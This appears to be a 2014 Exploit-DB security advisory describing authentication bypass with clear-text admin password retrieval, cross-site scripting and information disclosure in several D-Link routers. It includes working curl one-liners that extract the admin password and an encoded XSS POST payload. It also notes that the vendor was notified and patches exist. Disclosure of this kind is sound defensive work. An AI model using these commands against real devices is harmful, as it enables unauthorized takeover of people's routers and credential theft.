D-Link Routers – Multiple Vulnerabilities

  • 作者: Kyle Lovett
    日期: 2014-05-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33520/
  • The following five D-Link model routers suffer from several
    vulnerabilities including Clear Text Storage of Passwords, Cross Site
    Scripting and Sensitive Information Disclosure.
    
    DIR-652
    D-LinkWireless N Gigabit Home Router
    
    DIR-835
    D-Link Network DIR-835L Wireless N 750M Dual-band 802.11n 4Port Gigabit Router
    
    DIR-855L -
    D-Link Wireless N900 Dual Band Gigabit Router
    
    DGL-5500
    D-Link AC1300 Gaming Router
    
    DHP-1565
    D-Link Wireless N PowerLine Gigabit Router
    
    Affected firmware - FW 1.02b18/1.12b02 or older
    
    Access - Remote
    Complexity - Low
    Authentication - None
    Impact - Full loss of confidentiality
    
    -------------------------------------------------------------------------------------------------------------
    Clear Text Password - CWE - CWE-316: Cleartext Storage of Sensitive Information
    
    Authentication can be bypassed to gain access to the file
    tools_admin.asp, which stores the devices admin password in plain
    text, by adding a "/" to the end of the URL.
    
    Proof of Concept for the DGL-5500, DIR-855L and the DIR-835:
    
    curl -s http://<IP>/tools_admin.asp/ |awk '/hidden/ &&
    /admin_password_tmp/ && /value/ {print $5}'
    
    PoC for the DHP-1565 and DIR-652, the generic 'user' must be added.
    
    curl -s http://<IP>/tools_admin.asp/ -u user:|awk '/hidden/ &&
    /admin_password_tmp/ && /value/ {print $5}'
    
    -------------------------------------------------------------------------------------------------------------
    Cross Site Scripting - CWE - CWE-79: Improper Neutralization of User
    Input / Return
    
    For the file "apply.cgi" ("apply_sec.cgi" on the DGL-5500) the POST
    param "action" suffers from a XSS vulnerability due to improper
    neutralization of user input / return output.
    
    PoC for DIR-855L, DIR-835, DHP-1565
    
    http://<IP>/apply.cgi
    
    POST
    graph_code=X&session_id=123456&login_n=user&login_name=8&action=%3Cbody%3E%3Chtml%3E%3Ch2%3E%3CEMBED%20src%3D%22%3Ctd%20dir%3D%22rtl%22class%3D%22skytext%22width%3D%2277%25%22%3E%3Cmarquee%20%20%20scrollAmount%3D5%20scrollDelay%3D10%20direction%3D%22right%22style%3D%22color%3Ared%3Bfont-weight%3Abold%3B%22%3ESquirrel%20Injection%22%3C%2fh2%3E%3C%2fmarquee%3E%20%3C%2fbody%3E%3C%2fhtml%3E%3C%2ftd%3E%3E&log_pass=&html_response_page=login_pic.asp&tmp_log_pass=&gcode_base64=MTg0MzU%3D
    HTTP/1.1
    
    For the DGL-5500
    
    http://<IP>/apply_sec.cgi
    
    POST
    graph_code=X&session_id=123456&login_n=user&login_name=8&action=%3Cbody%3E%3Chtml%3E%3Ch2%3E%3CEMBED%20src%3D%22%3Ctd%20dir%3D%22rtl%22class%3D%22skytext%22width%3D%2277%25%22%3E%3Cmarquee%20%20%20scrollAmount%3D5%20scrollDelay%3D10%20direction%3D%22right%22style%3D%22color%3Ared%3Bfont-weight%3Abold%3B%22%3ESquirrel%20Injection%22%3C%2fh2%3E%3C%2fmarquee%3E%20%3C%2fbody%3E%3C%2fhtml%3E%3C%2ftd%3E%3E&log_pass=&html_response_page=login_pic.asp&tmp_log_pass=&gcode_base64=MTg0MzU%3D
    HTTP/1.1
    
    -------------------------------------------------------------------------------------------------------------
    Sensitive Information Disclosure - CWE - CWE-200: Information Exposure
    
    The D-Link models DGL-5500, DIR-855L, DIR-835 suffer from a
    vulnerability which an unauthenticated person can gain access the
    sensitive files:
    
    http://<IP>:8080/hnap.cgi and /HNAP1/ via:
    
    curl -s curl -s http://<IP>:8080/HNAP1/
    
    On the DIR-652and DHP-1565, a user needs authentication first to
    gain access to these files.
    
    But more importantly, an unauthenticated user can browse directly to
    http://<IP>/cgi/ssi/ which will offer a download of the device's ELF
    MBS MIPS file. The file contains most of the devices internal working
    structure and sensitive information. These particular routers usea
    MSB EM_MIPS Processor and it does contain executable components.
    
    The file can be accessed through at least one known cgi file, however
    there maybe others. Although no known publicly working example exist
    to my knowledge, unpatched devices are susceptible to injection of
    malicious code and most likely susceptible to a payload which could
    deploy a self-replicating worm.
    -------------------------------------------------------------------------------------------------------------
    
    These items were reported to D-Link on April 20th, and to US Cert on
    April 21. D-Link does have patches available for all affected models,
    and it is highly recommended to update the device's firmware as soon
    as possible.
    
    Vendor Links:
    http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10025
    http://securityadvisories.dlink.com/security/
    
    Research Contact - Kyle Lovett
    May 21, 2014